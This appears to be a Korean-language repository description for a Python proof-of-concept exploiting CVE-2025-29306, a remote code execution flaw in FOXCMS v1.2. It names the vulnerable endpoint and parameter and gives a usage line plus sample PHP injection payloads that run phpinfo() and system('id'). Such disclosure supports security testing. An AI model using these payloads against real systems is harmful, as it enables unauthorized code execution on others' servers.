inok009/foxcms-cve-2025-29306-pocFOXCMS v1.2의 매개변수 주입 RCE인 CVE-2025-29306용 Python PoC입니다. 승인된 보안 테스트를 위해 /images/index.html의 id 매개변수를 통해 PHP 코드를 주입합니다.
이 저장소는 중국 오픈소스 콘텐츠 관리 시스템인 FOXCMS v1.2에 영향을 미치는 원격 코드 실행(RCE) 취약점에 대한 Python 기반 PoC를 포함합니다.
CVE-ID: CVE-2025-29306
영향: FOXCMS v1.2
유형: 서비스 매개변수 주입 → 코드 실행
FOXCMS는 /images/index.html 엔드포인트의 id 매개변수에서 안전하지 않은 매개변수 구문 분석 메커니즘을 가지고 있습니다. 이로 인해 ${@print()} 표현식을 사용한 페이로드 주입이 가능해지며, PHP 코드 실행으로 이어집니다.
requests 라이브러리pip install requests
# Usage
python foxcms_poc.py http://target.com/images/index.html?id=
# The script uses payloads like:
${@print(phpinfo())}
${@print(system('id'))}
이 코드는 교육 목적 및 승인된 보안 테스트 용도로만 사용됩니다. 소유하지 않거나 테스트 권한이 없는 시스템에서 사용하지 마십시오.
Inok009